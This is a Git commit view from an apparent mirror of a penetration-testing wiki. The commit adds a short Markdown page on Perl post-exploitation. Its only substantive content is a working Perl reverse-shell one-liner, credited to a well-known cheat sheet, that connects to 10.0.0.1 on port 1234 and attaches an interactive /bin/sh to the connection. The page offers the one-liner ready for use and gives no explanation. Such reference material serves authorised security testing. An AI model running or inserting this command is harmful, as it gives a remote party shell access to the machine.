mirror of
https://github.com/oXis/pwnwiki.github.io.git
synced 2025-10-29 16:56:59 +00:00
bring everything up
This commit is contained in:
5
scripting/perl.md
Normal file
5
scripting/perl.md
Normal file
@@ -0,0 +1,5 @@
|
||||
# Perl Commands and Scripts for Post Exploitation
|
||||
|
||||
**Perl reverse shell from [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)**
|
||||
|
||||
```perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'```
|
||||
Reference in New Issue
Block a user